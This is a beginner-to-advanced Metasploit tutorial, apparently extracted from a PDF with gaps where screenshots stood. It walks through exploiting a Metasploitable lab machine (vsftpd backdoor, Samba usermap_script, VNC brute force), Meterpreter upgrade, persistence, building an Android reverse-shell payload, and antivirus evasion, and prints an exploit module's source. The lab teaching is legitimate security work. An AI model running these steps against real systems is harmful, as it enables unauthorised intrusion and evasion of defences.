MSF Console Beginner To Advance
MSF Console Beginner To Advance
MSF Console Beginner To Advance
Comprehensive Guide on
Metasploit
for
Beginners – Basics to
Advanced
GOVERDHAN KUMAR
1
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Metasploit, one of the most widely used penetration testing tools, is a very
powerful all-in-one tool for performing different steps of a penetration test.
If you ever tried to exploit some vulnerable systems, chances are you have
used Metasploit, or at least, are familiar with the name. It allows you to find
information about system vulnerabilities, use existing exploits to penetrate the
system, helps create your own exploits, and much more.
2
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Catalog
Installing Metasploit 4
Installing Metasploit on Linux 4
Find out the version of Metasploit and updating 4
As you can see my machine already has Metasploit Framework installed. 4
Metasploit changes its greeting messages every time you fire up the Metasploit
Framework with the msfconsole command, so you might see a different greeting
message when you run it. 5
You can also find out which version is installed once the program loads. Type
in version and hit enter to get the answer: 5
Basics of Penetration testing 5
2. Vulnerability Analysis 5
3. Exploitation 5
4. Post Exploitation 6
5. Report 6
Basics of Metasploit Framework 7
Modules of Metasploit Framework 8
1. Exploits 8
2. Payloads 8
3. Auxiliaries 8
4. Encoders 8
Components of Metasploit Framework 9
1. msfconsole 9
2. msfdb 9
3. msfvenom 9
4. meterpreter 9
Metasploit location on the drive 10
Basic commands of Metasploit Framework 16
Show command 16
Search anything within Metasploit 17
The use command 19
Get the description of the module with the info command 19
See the options you need to specify for the modules 21
Use the set command to set a value to a variable 22
Choose the Payload 23
Check if the exploit will work or not 26
A penetration test walkthrough 26
Target identification and Host discovery 27
Port scanning & Service detection 27
Vulnerability Analysis 28
Exploiting Vulnerabilities 30
Post Exploitation tasks with Metasploit & Meterpreter 40
Create custom payloads with msfvenom 45
Checking if your payload can evade anti-virus programs 51
Conclusion 52
3
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Installing Metasploit
Metasploit is available for Windows and Linux OS, and you can download
the source files from the official repository of the tool in Github. If you
are running any OS designed for penetration testing, e.g., Kali Linux, it
will be pre-installed in your system. We’ll be covering how to use
Metasploit Framework version 6 on Kali Linux. However, the basics will
remain the same wherever you’re using Metasploit.
If you’re not sure if you have Metasploit or not, you can confirm by
typing msfconsole in your terminal:
msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.1.27-dev ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]
4
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Metasploit changes its greeting messages every time you fire up the
Metasploit Framework with the msfconsole command, so you might see
a different greeting message when you run it.
You can also find out which version is installed once the program loads.
Type in version and hit enter to get the answer:
version
Framework: 6.1.27-dev
Console : 6.1.27-dev
I am using version 6. If you haven’t updated your Metasploit anytime
soon, it’s a good idea to update it before starting to use it. This is
because if the tool is old then the updated exploits will not get added to
the database of your Metasploit Framework. You can update the
program by the msfupdate command:
Now that you know how to install and update the Metasploit framework,
let’s begin learning some of the basics related to Metasploit.
5
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
4. Post Exploitation
5. Report
One of the most used tools for information gathering and scanning is
the nmap or Network Mapper utility. For a comprehensive tutorial for
information gathering and nmap which you can check out from here.
2. Vulnerability Analysis
In this step, the potential vulnerabilities of the target are analyzed for
further actions. Not all the vulnerabilities are of the same level. Some
vulnerabilities may give you entire access to the system once exploited
while some may only give you some normal information about the
system. The vulnerabilities that might lead to some major results are the
ones to go forward with from here. This is the step where Metasploit
gives you a useful database to work with.
3. Exploitation
After the identified vulnerabilities have been analyzed, this is the step to
take advantage of the vulnerabilities.
Exploits come from many sources. One of the primary source is the
vulnerability and exploit researchers. People do it because there is a lot
at stake here i.e., there may be huge sums of money involved as a
bounty.
6
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Now, you may ask if the vulnerabilities are discovered, aren’t those
application already fixed? The answer is yes, they are. But the fix comes
around in the next update of the application.
Those who are already using the outdated version might not get the
update and remains vulnerable to the exploits. The Metasploit
Framework is the most suitable tool for this step. It gives you the option
to choose from thousands of exploits and use them directly from the
Metasploit console. New exploits are updated and incorporated in
Metasploit regularly. You may also add some other exploits from online
exploit databases like Exploit-DB.
Further, not all the exploits are ready-made for you to use. Sometimes
you might have to craft your own exploit to evade security systems and
intrusion detection systems. Metasploit also has different options for
you to explore on this regard.
4. Post Exploitation
This is the step after you’ve already completed exploiting the target
system. You’ve got access to the system and this is where you will decide
what to do with the system. You may have got access to a low privilege
user. You will try to escalate your privilege in this step. You may also
keep a backdoor the victim machine to allow yourself to enter the
system later whenever you want. Metasploit has numerous
functionalities to help you in this step as well.
5. Report
This is the step that many penetration testers will have to complete.
After carrying out their testing, the company or the organization will
require them to write a detailed report about the testing and
improvement to be done.
Now, after the long wait, let’s get into the basics of the actual program –
Metasploit Framework.
In this section, we’ll learn all the basics related to Metasploit Framework.
This will help us understand the terminologies related to the program
and use the basic commands to navigate through.
7
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
1.Exploits
2.Payloads
3.Auxiliaries
4.Encoders
Now we’ll discuss each of them and explain what they mean.
1. Exploits
2. Payloads
Payloads perform some tasks after the exploit runs. There are different
types of payloads that you can use. For example, you could use the
reverse shell payload, which basically generates a shell/terminal/cmd in
the victim machine and connects back to the attacking machine.
Another example of a payload would be the bind shell. This type of shell
creates a listening port on the victim machine, to which the attacker
machine then connects. The advantage of a reverse shell over the bind
shell is that the majority of the system firewalls generally do not block
the outgoing connections as much as they block the incoming ones.
3. Auxiliaries
These are the programs that do not directly exploit a system. Rather
they are built for providing custom functionalities in Metasploit. Some
auxiliaries are sniffers, port scanners, etc. These may help you scan the
victim machine for information gathering purposes. For example, if you
8
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
see a victim machine is running ssh service, but you could not find out
what version of ssh it is using – you could scan the port and get the
version of ssh using auxiliary modules.
4. Encoders
Metasploit also provides you with the option to use encoders that will
encrypt the codes in such a way that it becomes obscure for the threat
detection programs to interpret. They will self decrypt and become
original codes when executed. However, the encoders are limited and
the anti-virus has many signatures of them already in their databases. So,
simply using an encoder will not guarantee anti-virus evasion. You might
get past some of the anti-viruses simply using encoders though. You will
have to get creative and experiment changing the payload so it does not
get detected.
1. msfconsole
2. msfdb
3. msfvenom
4. meterpreter
Let’s talk about each of these components.
1. msfconsole
2. msfdb
Managing all the data can become a hurdle real quick, which is why
Metasploit Framework gives you the option to use PostgreSQL database
to store and access your data quickly and efficiently. For example, you
may store and organize your scan results in the database to access them
9
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
later. You can take a look at this tutorial to learn more about this tool –
https://null-byte.wonderhowto.com/how-to/use-metasploits-database-
stay-organized-store-information-while-hacking-0192643/
3. msfvenom
This is the tool that mimics its name and helps you create your own
payloads (venoms to inject in your victim machine). This is important
since your payload might get detected as a threat and get deleted by
threat detection software such as anti-viruses or anti-malware.
This happens because the threat detection systems already has stored
fingerprints of many malicious payloads. There are some ways you can
evade detection. We’ll discuss this in the later section dedicated
to msfvenom.
4. meterpreter
cd /usr/share/metasploit-framework
Type in ls to see the contents of the directory:
ls
app msfconsole Rakefile
config msfd ruby
data msfdb script-exploit
db msf-json-rpc.ru script-password
documentation msfrpc script-recon
Gemfile msfrpcd scripts
10
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
cd modules
ls
auxiliary encoders evasion exploits nops payloads post
All the modules discussed are present here. However, evasion, nops,
and post are the additional entries. The evasion module is a new entry
to the Metasploit Framework, which helps create payloads that evade
anti-virus (AV) detection. Nop stands for no operation, which means the
CPU will just move to the next operation. Nops help create randomness
in the payload – as adding them does not change the functionality of the
program.
Finally, the post module contains some programs that you might require
post-exploitation. For example, you might want to discover if the host
you exploited is a Virtual Machine or a Physical Computer. You can do
this with the checkvm module found in the post category. Now you can
browse all the exploits, payloads, or others and take a look at their codes.
Let’s navigate to the exploits directory and select an exploit. Then we’ll
take a look at the codes of that exploit.
cd exploits
ls
aix dialup firefox mainframe qnx
android example_linux_priv_esc.rb freebsd multi solaris
apple_ios example.py hpux netware unix
bsd example.rb irix openbsd windows
bsdi example_webapp.rb linux osx
What you’re seeing now are the categories of the exploits. For example,
the linux directory contains all the exploits that are available for Linux
systems.
cd linux
ls
antivirus games imap mysql pptp samba ssh
browser http local pop3 proxy smtp telnet
ftp ids misc postgres redis snmp upnp
Let’s take a look at the exploits for ssh.
11
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
cd ssh
ls
ceragon_fibeair_known_privkey.rb
cisco_ucs_scpuser.rb
exagrid_known_privkey.rb
f5_bigip_known_privkey.rb
ibm_drm_a3user.rb
loadbalancerorg_enterprise_known_privkey.rb
mercurial_ssh_exec.rb
microfocus_obr_shrboadmin.rb
quantum_dxi_known_privkey.rb
quantum_vmpro_backdoor.rb
solarwinds_lem_exec.rb
symantec_smg_ssh.rb
vmware_vdp_known_privkey.rb
vyos_restricted_shell_privesc.rb
As you can see, all the exploits are written in Ruby, and thus, the
extension of the files is .rb. Now let’s look at the code of a specific
exploit using the cat command, which outputs the content directly on
the terminal:
cat cisco_ucs_scpuser.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Cisco UCS Director default scpuser password",
'Description' => %q{
This module abuses a known default password on Cisco UCS Director. The
'scpuser'
has the password of 'scpuser', and allows an attacker to login to the virtual
appliance
via SSH.
This module has been tested with Cisco UCS Director virtual machines 6.6.0 and
6.7.0.
Note that Cisco also mentions in their advisory that their IMC Supervisor and
12
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
UCS Director Express are also affected by these vulnerabilities, but this module
was not tested with those products.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and
Metasploit module
],
'References' =>
[
[ 'CVE', '2019-1935' ],
[ 'URL',
'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-
20190821-imcs-usercred' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
[ 'URL',
'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-
rce.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Cisco UCS Director < 6.7.2.0', {} ],
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => '2019-08-21'
))
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, "Username to login with", 'scpuser']),
OptString.new('PASSWORD', [true, "Password to login with", 'scpuser']),
13
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme
verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a
SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
14
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
if ssh
conn = Net::SSH::CommandStream.new(ssh)
ssh = nil
return conn
end
return nil
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']
The description reveals what function this exploit will perform. As you
can see, it exploits a known vulnerability of Cisco UCS Director. The
vulnerability is the default password of the machine, which, if
unchanged, may be used to gain access to the system. If you are
someone who knows Ruby and has a good grasp of how the vulnerability
works, you can modify the code and create your own version of the
exploit. That’s the power of the Metasploit Framework.
In this way, you can also find out what payloads are there in your
Metasploit Framework, add your own in the directory, and modify the
existing ones.
15
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Now let’s move on to the fun stuff. In this section, we’ll talk about some
of the basic Metasploit commands that you’re going to need all the time.
msfconsole
I have the msf6 shown here, where 6 represents the version of the
framework and console. You can execute regular terminal commands
from here as well, which means you don’t have to exit out of Metasploit
Framework to perform some other tasks, making it super convenient.
Here’s an example – msf6 > ls
[*] exec: ls
Desktop Documents Downloads Music Pictures Public Templates Videos
The ls command works as it is intended to. You can use the help
command to get a list of commands and their functions. Metasploit has
very convenient help descriptions. They are divided into categories and
easy to follow.
help
Now, let’s take a look at some important commands.
Show command
If you want to see the modules you currently have in your Metasploit
Framework, you can use the show command. Show command will show
you specific modules or all the modules. Show command requires an
argument to be passed with it. Type in “show -h” to find out what
argument the command takes:
show -h
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits,
payloads, auxiliary, post, plugins, info, options, favorites
[*] Additional module-specific parameters are: missing, advanced, evasion, targets,
actions
For example, you can see all the exploits by using the command in the
following way:
show exploits
16
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
This will list all the existing exploits, which will be a long list, needless to
say. Let’s look at how many encoders are there:
show encoders
Show command can be used inside of any modules to get specific
modules that are compatible. You’ll understand this better in the later
sections.
Let’s imagine you found a service running on an open port on the target
machine. If you also know which version of the service that machine is
using – you might want to look for already known vulnerabilities of that
service.
How do you find out if that service has any vulnerability which has
ready-made exploits on Metasploit?
It doesn’t even have to be the exploits, you can also find out payloads,
auxiliaries, etc., and you can search the descriptions as well.
search samba
Matching Modules
================
17
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Interact with a module by name or index. For example info 25, use 25 or use
exploit/windows/http/sambar6_search_results
18
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
You can also notice the date and description of the exploit. There is also
a metric called rank telling you how good the exploit is. The name is
actually also the path of where the module is inside
the /usr/share/metasploit-framework/
A relatively new exploit will affect many of the machines running the
service since they might not have updated the vulnerable application in
the short time period.
After you’ve chosen the module you want to use, you can select the
module by the use command followed by the name or the id of the
module. Let’s use the first one we got from the search result:
use exploit/unix/webapp/citrix_access_gateway_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/citrix_access_gateway_exec) >
You can also specify the number for the module:
use 0
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/citrix_access_gateway_exec) >
If you’re not sure about a module you can always get the description and
see what it does. As we showed you earlier, you could get the
description by looking at the original code of the module. However,
we’re going to show you a much faster and efficient way. For this, you
have to use the command info after you’ve entered the use command to
select an exploit:
19
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Module: exploit/unix/webapp/citrix_access_gateway_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-12-21
Provided by:
George D. Gal
Erwin Paternotte
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format typ
e:host:port[,type:host:port
][...]
RHOSTS yes The target host(s), see htt
ps://github.com/rapid7/meta
sploit-framework/wiki/Using
-Metasploit
RPORT 443 yes The target port (TCP)
SSL true yes Use SSL
VHOST no HTTP server virtual host
Payload information:
Space: 127
Description:
The Citrix Access Gateway provides support for multiple
authentication types. When utilizing the external legacy NTLM
authentication module known as ntlm_authenticator the Access Gateway
spawns the Samba 'samedit' command line utility to verify a user's
identity and password. By embedding shell metacharacters in the web
authentication form it is possible to execute arbitrary commands on
the Access Gateway.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-4566
OSVDB (70099)
20
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
http://www.securityfocus.com/bid/45402
http://www.vsecurity.com/resources/advisory/20101221-1/
As you can see, the info command shows a detailed description of the
module. You can see the description of what it does and what options to
use, including explanations for everything. You can also use the show
info command to get the same result.
For the modules, you will have to set some of the options. Some options
will already be set. You will need to specify options like your target
machine IP address, port, and things like this. The options will change
according to what module you are using. You can see the options using
the options or show options command. Let’s see this in action:
Exploit target:
Id Name
-- ----
21
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
0 Automatic
You can see the options for this
specific exploit(unix/webapp/citrix_access_gateway_exec). You can also
see the options for the default Payload (cmd/unix/reverse_netcat) for
this exploit.
I have marked all the fields with different colors. The names are marked
in green color. The current setting for each option is marked in pink. All
of the fields are not required for the exploit to function. Some of them
are optional. The mandatory ones will be listed as yes in
the Required field marked in teal. Many of the options will be already
filled out by default. You can either change them or keep them
unchanged.
In this example, you can see the RHOSTS option does not have a current
setting field value in it. This is where you will have to specify the target
IP address. You will learn how to set it with the next command.
Set is one of the core commands of the Metasploit console. You can use
this command to set context-specific values to a variable. For example,
let’s try to set the target IP address for the above RHOSTS option field.
Type in set RHOSTS [target IP]:
22
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
LHOST 192.168.74.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
The output shows the RHOSTS variable or option has the target machine
IP address that we specified using the set command.
After we’ve specified the required options for our exploit, we have to set
up the payload that we’ll be sending after the exploit successfully
completes. There are a lot of payloads in all of Metasploit database.
However, after selecting the exploit, you will get the only payloads that
are compatible with the exploit. Here, you can use the show command
usefully to see the available payloads:
23
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
24
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Exploit target:
Id Name
-- ----
0 Automatic
The option for the payload shows that the selected payload is now
changed to our desired one (cmd/unix/reverse_ssh). You can set the
payload options with the set command as well:
25
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Exploit target:
Id Name
-- ----
0 Automatic
Now that you’ve set up the exploit and the payload – you can start the
fun. Let’s move on to the exploit commands.
Before going forward with the exploit, you might wonder if it is actually
going to work or not. Let’s try to find out. We’ll have to use the “check”
command to see the target host is vulnerable to the exploit we’ve set up
–
26
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
your own systems and practice hacking into them rather than learning to
do it in real systems that might be illegal.
This is the next step in the information gathering phase. Now we’ll find
out what ports are open and which services are running in our victim
machine. We’ll use nmap to run the service discovery:
27
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Vulnerability Analysis
Now that we’ve performed the service detection step, we know what
versions of applications our victim is running. We just have to find out
which one of them might be vulnerable. You can find out vulnerabilities
just by googling about them, or you can also search them in your
Metasploit database. Let’s do the latter, and search in Metasploit. Fire
up your Metasploit console with the msfconsole command.
Let’s find out if the first application in the list, vsftpd 2.3.4 (which is
an ftp service running on port 21) that we found in our service detection
28
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
phase, has any exploits associated with it. Search for vsftpd in your
Metasploit console:
search vsftpd
Matching Modules
================
Interact with a module by name or index. For example info 0, use 0 or use
exploit/unix/ftp/vsftpd_234_backdoor
Whoa! The first one is already a hit. As you can see, the exploit rank is
excellent and you can execute backdoor commands with this exploit.
However, you must remember that this is metasploitable you’re
attacking. In real systems, you will not find a lot of backdated
applications with vulnerabilities. Let’s move on and check if the other
applications are vulnerable or not. Try to see if the openssh has any
vulnerabilities:
search openssh
Matching Modules
================
Interact with a module by name or index. For example info 4, use 4 or use
exploit/windows/local/unquoted_service_path
However, this result is not so much promising. Still, we probably can
brute force the system to get the login credentials. Let’s find out some
29
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
search proftpd
Matching Modules
================
Interact with a module by name or index. For example info 5, use 5 or use
exploit/unix/ftp/proftpd_133c_backdoor
Seems like there is no specific mention of version 1.3.1 for
the ProFTPD application. However, the other versions might still work.
We’ll find that out very soon.
You can research each of the open port applications and find out what
vulnerabilities might be associated with them. You can definitely use
google and other exploit databases as well instead of only Metasploit.
Exploiting Vulnerabilities
This is the most anticipated step of the penetration test. In this step,
we’ll exploit the victim machine in all its glory. Let’s begin with the most
straightforward vulnerability to exploit that we found in the previous
step. It is the VSFTPD 2.3.4 backdoor command execution exploit.
30
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
After entering this command, you’ll see your command line will look like
this:
Exploit target:
Id Name
-- ----
0 Automatic
Let’s set up the RHOSTS as the target machine’s IP address
(192.168.74.129 in my case):
31
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Exploit target:
Id Name
-- ----
0 Automatic
Now you have to specify a payload as well. Let’s see what are our
options:
Not much of an option right? And this one is already set up in the options. You can
check it yourself. There are no required values for this payload as well. Let’s check if
this exploit will work or not –
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
[-] Check failed: NoMethodError This module does not support check.
So, this exploit doesn’t support checking. Let’s move forward. This is the moment of
truth. Let’s exploit the machine –
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
whoami
root
Voila! We’ve successfully exploited the machine. We got the shell access.
I ran the whoami command and got the reply as root. So, we have full
32
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Now before we show what to do after exploitation, let’s see some other
methods of exploitation as well.
Type in background within the terminal, then type y and hit enter:
whoami
rootbackground
Did you notice that the netbios-ssn service was running on Samba in our
victim machine’s port 139 and 445? There might be an exploit that we
could use. But before that, there was no particular version written for
the samba application. However, we have an auxiliary module in
Metasploit that can find out the version for us. Let’s see this in action:
33
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Interact with a module by name or index. For example info 0, use 0 or use
auxiliary/scanner/smb/smb_version
Now choose the smb scanner:
34
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Interact with a module by name or index. For example info 1, use 1 or use
exploit/multi/samba/usermap_script
As you can see, there is an exploit for this vulnerability with an excellent
rank. Let’s use this one and try to gain access to the metasploitable
machine:
35
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Exploit target:
Id Name
-- ----
0 Automatic
We can see that the Payload options are already set up. I will not change
it. You can change the LHOST to your attack machine’s IP address. We
only need to set up the RHOSTS option:
Exploiting VNC
Now let’s try to exploit the VNC service running on our victim machine. If
you search in Metasploit database, you will find no matching exploit for
36
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
this one. This means you have to think of some other ways to get into
this service. Let’s try to brute force the VNC login. We’ll be using the
auxiliary scanner for vnc login:
Interact with a module by name or index. For example info 3, use 3 or use
auxiliary/scanner/vnc/vnc_login
We’ll be needing the VNC Authentication Scanner (3). Let’s select it:
Provided by:
carstein <[email protected]>
jduck <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank
passwords for all users
37
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0506
We can see the options this module will take. The description is also
there. From the description, it becomes clear that this is a module that
will try brute-forcing. Another conspicuous fact is that this module
supports RFB protocol version 3.3, which is written in our discovered
VNC service (protocol 3.3). If you’re wondering why this is related – VNC
service uses RFB protocol. So this module is compatible with the VNC
service in our victim machine. Let’s move forward with this.
38
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
We’ve already seen the options this module will take from the “info”
command. The options marked in yellow are the important ones. Not all
of them are required though. We can see the default password file
(PASS_FILE) for the brute force will be (/usr/share/Metasploit-
framework/data/wordlists/vnc_passwords.txt). We’ll not be changing
this file. You might want to change this one if you’re doing real world
tests that are not Metasploitable. We have to define RHOSTS. Let’s turn
on STOP_ON_SUCCESS as well, which will stop the attack once the
correct credentials are found. We’ll also increase the THREADS for faster
operation, and set USER_AS_PASS to true, which will use the same
username and password as well. Let’s set these up:
Now let’s try to login to the VNC with our cracked credentials. I’ll use
the vncviewer command followed by the IP address of the victim
machine:
39
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
This is beautiful. Now you can pretty much do anything you desire. Now
that we’ve shown you 3 ways you can exploit the Metasploitable with
the Metasploit Framework, it’s time to show you the things you might
have to do once you’ve gained access.
40
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
One of the tasks you might do after exploiting is keeping the session in
the background while you work on the Metasploit Framework. We’ve
already shown you how to do that in the previous section. However, if
you exit from the session then that opened session will be gone.
You will need to exploit the machine once again to get another session.
The same thing will happen if the victim chooses to reboot the machine.
In this section, we’ll show you how to keep your access even if the victim
reboots his/her machine.
One of the most useful tools after exploiting a target is the Meterpreter
shell. It has many custom functionalities built into it that you don’t need
to make a program or install any software to do.
What is Meterpreter?
41
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
As you can see, we have two sessions now with id 2 and 4. Both of these
sessions are of unix cmd shell type. Now let’s try to upgrade to
meterpreter. For this purpose, we’ll be using the shell to
meterpreter exploit:
Interact with a module by name or index. For example info 1, use 1 or use
exploit/windows/local/powershell_cmd_upgrade
Let’s use the first one:
42
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
43
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Meterpreter functionalities
Meterpreter gives you loads of options for you to explore. You can get
the commands by typing in “help” in meterpreter console. You can
navigate the victim machine using the basic navigational commands of
Linux. You can also download or upload some files into the victim system.
There is a search option to search the victim machine with your desired
keywords:
You can search for a file with the search command with -f flag:
You can list the process running in the victim machine with
the ps command. There is an option to see the PID of the process that
has hosted the meterpreter:
44
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
As we told you earlier, if the victim system reboots, you will lose your
active sessions. You might need to exploit the system once again or start
the whole procedure from the very beginning – which might not be
possible. If your victim machine runs Windows, there is an option
called persistence in Metasploit, which will keep your access persistent.
To do it you’ll have to use:
For that purpose, you can use the crontab to do this. Cron is the task
scheduler for Linux.
With this tool, you can create custom payloads tailored to specific
targets and requirements. Furthermore, you can attach payloads with
other files that make your payload less suspicious. You can also edit the
codes of your payloads and change them to evade detection by the
threat detection systems. You can see all the options available
for msfvenom by typing in msfvenom -h.
45
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
To see all the options for creating the payload, you can list the modules
by using the -l flag followed by the module type – which will be payload
in our case.
msfvenom -l payloads
You’ll get a long list of payloads in the output. You can
use grep command to narrow the result down to your liking. Let’s say I
wanted to create payloads for Android. I’ll use the following to list the
payloads:
46
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Needs Admin: No
Total size: 10175
Rank: Normal
Provided by:
mihi
egypt <[email protected]>
OJ Reeves
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------LHOST yes The listen address (an
interface may be specified)
LPORT 4444 yes The listen port
Description:
Run a meterpreter server in Android. Connect back stager
47
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
48
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
You can modify them and check how many anti-viruses detect it as a
threat. Many online websites allow you to check your payloads. Keep in
mind, however, that these systems might store your data and add them
to the anti-virus database, rendering your payloads to be detected more
often.
VirusTotal is a website that allows you to upload a file and check for
viruses. There are online virus checkers for almost all the anti-virus
packages (avast, avg, eset, etc.). At the end of this article, you’ll see me
testing our payload on these websites.
49
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Now, before we send this payload, we need to set up the handler for the
incoming connection. Handler is just a program that will listen on a port
for incoming connections, since the victim will connect to us. To do that,
we’ll fire up msfconsole and search multi/handler:
search multi/handler
Matching Modules
================
Interact with a module by name or index. For example info 8, use 8 or use
exploit/linux/local/yum_package_manager_persistence
As you can see, number 5 is our manual and Generic Payload Handler.
Use this one and we must set our payload matching to the one we just
used (/android/meterpreter/reverse_tcp) –
use 5
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload /android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
50
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Exploit target:
Id Name
-- ----
0 Wildcard Target
In the output, we can see that the default payload for exploit
(multi/handler) was (generic/shell_reverse_tcp). So we set the payload
to our desired one (android/meterpreter/reverse_tcp). Now let’s set up
the LHOST to 192.168.74.128 (attack machine’s IP) and LPORT to 8080
just like we did when we created the payload:
We’ve already told you how you might try to evade the anti-virus
software. Let’s have some fun now. We’ll check how many viruses can
detect our apk payload that we just created.
51
Comprehensive Guide on Metasploit for Beginners – Basics to Advanced by GOVERDHAN
Conclusion
In this tutorial, you learned about Metasploit Framework from the basics
to the advanced level. You can experiment and practice to learn more on
your own.
Remember to use your knowledge for the good. We hope you liked our
